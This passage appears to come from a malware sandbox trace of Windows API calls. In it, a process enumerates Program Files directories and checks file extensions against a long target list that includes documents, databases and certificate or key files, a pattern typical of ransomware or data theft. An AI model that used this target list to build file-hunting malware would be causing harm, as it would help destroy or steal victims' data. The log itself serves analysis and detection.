(lpString1=".docm", lpString2="k.png") returned -1 [0037.667] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0037.667] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0037.667] lstrcmpiW (lpString1=".dotm", lpString2="k.png") returned -1 [0037.667] lstrcmpiW (lpString1=".dotx", lpString2="k.png") returned -1 [0037.667] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0037.667] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0037.667] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0037.668] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0037.668] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0037.668] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0037.668] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0037.668] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0037.668] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0037.668] lstrcmpiW (lpString1=".edml", lpString2="k.png") returned -1 [0037.668] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0037.668] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0037.668] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0037.668] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0037.668] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0037.668] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0037.668] lstrcmpiW (lpString1=".epsf", lpString2="k.png") returned -1 [0037.668] lstrcmpiW (lpString1=".epsp", lpString2="k.png") returned -1 [0037.668] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0037.668] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0037.668] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0037.668] lstrcmpiW (lpString1=".fido", lpString2="k.png") returned -1 [0037.668] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0037.668] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0037.669] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0037.669] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0037.669] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0037.669] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0037.669] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0037.669] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0037.669] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0037.669] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0037.669] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0037.669] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0037.669] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0037.669] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0037.669] lstrcmpiW (lpString1=".html", lpString2="k.png") returned -1 [0037.669] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0037.669] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0037.669] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0037.669] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0037.669] lstrcmpiW (lpString1=".indd", lpString2="k.png") returned -1 [0037.669] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0037.669] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0037.669] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0037.670] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0037.670] lstrcmpiW (lpString1=".java", lpString2="k.png") returned -1 [0037.670] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0037.670] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0037.670] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0037.670] lstrcmpiW (lpString1=".jpeg", lpString2="k.png") returned -1 [0037.670] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0037.670] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0037.670] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0037.670] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0037.670] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0037.670] lstrcmpiW (lpString1=".json", lpString2="k.png") returned -1 [0037.670] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0037.670] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0037.670] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0037.670] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0037.670] lstrcmpiW (lpString1=".lasso", lpString2="ck.png") returned -1 [0037.670] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0037.670] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0037.670] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0037.670] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0037.671] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0037.671] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0037.671] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0037.671] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0037.671] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0037.671] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0037.671] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0037.671] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0037.671] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0037.671] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0037.671] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0037.671] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0037.671] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0037.671] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0037.671] lstrcmpiW (lpString1=".mhtml", lpString2="ck.png") returned -1 [0037.671] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0037.671] lstrcmpiW (lpString1=".mkidx", lpString2="ck.png") returned -1 [0037.671] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0037.671] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0037.671] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0037.672] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0037.672] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0037.672] lstrcmpiW (lpString1=".mpeg", lpString2="k.png") returned -1 [0037.672] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0037.672] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0037.672] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0037.672] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0037.672] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0037.672] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0037.672] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0037.672] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0037.672] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0037.672] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0037.672] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0037.672] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0037.672] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0037.672] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0037.672] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0037.672] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0037.672] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0037.673] lstrcmpiW (lpString1=".onepkg", lpString2="ack.png") returned -1 [0037.673] lstrcmpiW (lpString1=".onetoc2", lpString2="lack.png") returned -1 [0037.673] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0037.673] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0037.673] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0037.673] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0037.673] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0037.674] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0037.674] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0037.674] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0037.674] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0037.674] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0037.674] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0037.674] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0037.674] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0037.674] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0037.674] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0037.674] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0037.674] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0037.674] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0037.674] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0037.674] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0037.674] lstrcmpiW (lpString1=".php3", lpString2="k.png") returned -1 [0037.674] lstrcmpiW (lpString1=".php4", lpString2="k.png") returned -1 [0037.674] lstrcmpiW (lpString1=".php5", lpString2="k.png") returned -1 [0037.674] lstrcmpiW (lpString1=".phtml", lpString2="ck.png") returned -1 [0037.674] lstrcmpiW (lpString1=".pict", lpString2="k.png") returned -1 [0037.674] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0037.675] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0037.675] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0037.675] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0037.675] FindNextFileW (in: hFindFile=0x6045c8, lpFindFileData=0x3a7f094 | out: lpFindFileData=0x3a7f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0037.675] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0037.675] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0037.675] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0037.675] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0037.675] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0037.675] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0037.675] lstrcmpiW (lpString1=".accda", lpString2="ot.png") returned -1 [0037.675] lstrcmpiW (lpString1=".accdb", lpString2="ot.png") returned -1 [0037.675] lstrcmpiW (lpString1=".accdc", lpString2="ot.png") returned -1 [0037.675] lstrcmpiW (lpString1=".accde", lpString2="ot.png") returned -1 [0037.675] lstrcmpiW (lpString1=".accdt", lpString2="ot.png") returned -1 [0037.675] lstrcmpiW (lpString1=".accdw", lpString2="ot.png") returned -1 [0037.675] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0037.675] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0037.675] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0037.676] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0037.676] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0037.676] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0037.676] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0037.676] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0037.676] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0037.676] lstrcmpiW (lpString1=".anim", lpString2="t.png") returned -1 [0037.676] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0037.676] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0037.676] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0037.676] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0037.676] lstrcmpiW (lpString1=".ascx", lpString2="t.png") returned -1 [0037.676] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0037.676] FindClose (in: hFindFile=0x6045c8 | out: hFindFile=0x6045c8) returned 1 [0037.677] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f750a8 | out: hHeap=0x510000) returned 1 [0037.677] FindNextFileW (in: hFindFile=0x604588, lpFindFileData=0x3a7f310 | out: lpFindFileData=0x3a7f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1 [0037.677] FindClose (in: hFindFile=0x604588 | out: hFindFile=0x604588) returned 1 [0037.677] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f850b0 | out: hHeap=0x510000) returned 1 [0037.677] FindNextFileW (in: hFindFile=0x604488, lpFindFileData=0x3a7f58c | out: lpFindFileData=0x3a7f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1 [0037.677] FindClose (in: hFindFile=0x604488 | out: hFindFile=0x604488) returned 1 [0037.677] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f20078 | out: hHeap=0x510000) returned 1 [0037.677] FindNextFileW (in: hFindFile=0x604548, lpFindFileData=0x3a7f808 | out: lpFindFileData=0x3a7f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0037.677] FindClose (in: hFindFile=0x604548 | out: hFindFile=0x604548) returned 1 [0037.677] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f45098 | out: hHeap=0x510000) returned 1 [0037.677] FindNextFileW (in: hFindFile=0x604408, lpFindFileData=0x3a7fa84 | out: lpFindFileData=0x3a7fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x38d79800, ftLastAccessTime.dwHighDateTime=0x1d54a09, ftLastWriteTime.dwLowDateTime=0x38d79800, ftLastWriteTime.dwHighDateTime=0x1d54a09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0037.678] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x3a7f808 | out: lpFindFileData=0x3a7f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x38d79800, ftLastAccessTime.dwHighDateTime=0x1d54a09, ftLastWriteTime.dwLowDateTime=0x38d79800, ftLastWriteTime.dwHighDateTime=0x1d54a09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x604548 [0037.678] FindNextFileW (in: hFindFile=0x604548, lpFindFileData=0x3a7f808 | out: lpFindFileData=0x3a7f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x38d79800, ftLastAccessTime.dwHighDateTime=0x1d54a09, ftLastWriteTime.dwLowDateTime=0x38d79800, ftLastWriteTime.dwHighDateTime=0x1d54a09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.678] FindNextFileW (in: hFindFile=0x604548, lpFindFileData=0x3a7f808 | out: lpFindFileData=0x3a7f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x755886f0, ftCreationTime.dwHighDateTime=0x1d51731, ftLastAccessTime.dwLowDateTime=0x54ed70f0, ftLastAccessTime.dwHighDateTime=0x1d4c782, ftLastWriteTime.dwLowDateTime=0x54ed70f0, ftLastWriteTime.dwHighDateTime=0x1d4c782, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="dear.exe", cAlternateFileName="")) returned 1 [0037.678] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x3a7f58c | out: lpFindFileData=0x3a7f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x604488 [0037.679] FindNextFileW (in: hFindFile=0x604488, lpFindFileData=0x3a7f58c | out: lpFindFileData=0x3a7f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.679] FindNextFileW (in: hFindFile=0x604488, lpFindFileData=0x3a7f58c | out: lpFindFileData=0x3a7f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0037.679] FindClose (in: hFindFile=0x604488 | out: hFindFile=0x604488) returned 1 [0037.680] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f850b0 | out: hHeap=0x510000) returned 1 [0037.680] FindNextFileW (in: hFindFile=0x604548, lpFindFileData=0x3a7f808 | out: lpFindFileData=0x3a7f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f55643f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f55643f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x23ff2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0037.681] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x3a7f58c | out: lpFindFileData=0x3a7f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x604488 [0037.681] FindNextFileW (in: hFindFile=0x604488, lpFindFileData=0x3a7f58c | out: lpFindFileData=0x3a7f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.681] FindNextFileW (in: hFindFile=0x604488, lpFindFileData=0x3a7f58c | out: lpFindFileData=0x3a7f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0037.681] FindClose (in: hFindFile=0x604488 | out: hFindFile=0x604488) returned 1 [0037.681] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f850b0 | out: hHeap=0x510000) returned 1 [0037.681] FindNextFileW (in: hFindFile=0x604548, lpFindFileData=0x3a7f808 | out: lpFindFileData=0x3a7f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0037.681] FindClose (in: hFindFile=0x604548 | out: hFindFile=0x604548) returned 1 [0037.681] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f750a8 | out: hHeap=0x510000) returned 1 [0037.681] FindNextFileW (in: hFindFile=0x604408, lpFindFileData=0x3a7fa84 | out: lpFindFileData=0x3a7fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0037.681] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*", lpFindFileData=0x3a7f808 | out: lpFindFileData=0x3a7f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x604548 [0037.682] FindNextFileW (in: hFindFile=0x604548, lpFindFileData=0x3a7f808 | out: lpFindFileData=0x3a7f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.682] FindNextFileW (in: hFindFile=0x604548, lpFindFileData=0x3a7f808 | out: lpFindFileData=0x3a7f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0037.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x3a7f58c | out: lpFindFileData=0x3a7f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x604488 [0037.682] FindNextFileW (in: hFindFile=0x604488, lpFindFileData=0x3a7f58c | out: lpFindFileData=0x3a7f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.682] FindNextFileW (in: hFindFile=0x604488, lpFindFileData=0x3a7f58c | out: lpFindFileData=0x3a7f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0037.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x3a7f310 | out: lpFindFileData=0x3a7f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x604588 [0037.684] FindNextFileW (in: hFindFile=0x604588, lpFindFileData=0x3a7f310 | out: lpFindFileData=0x3a7f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, 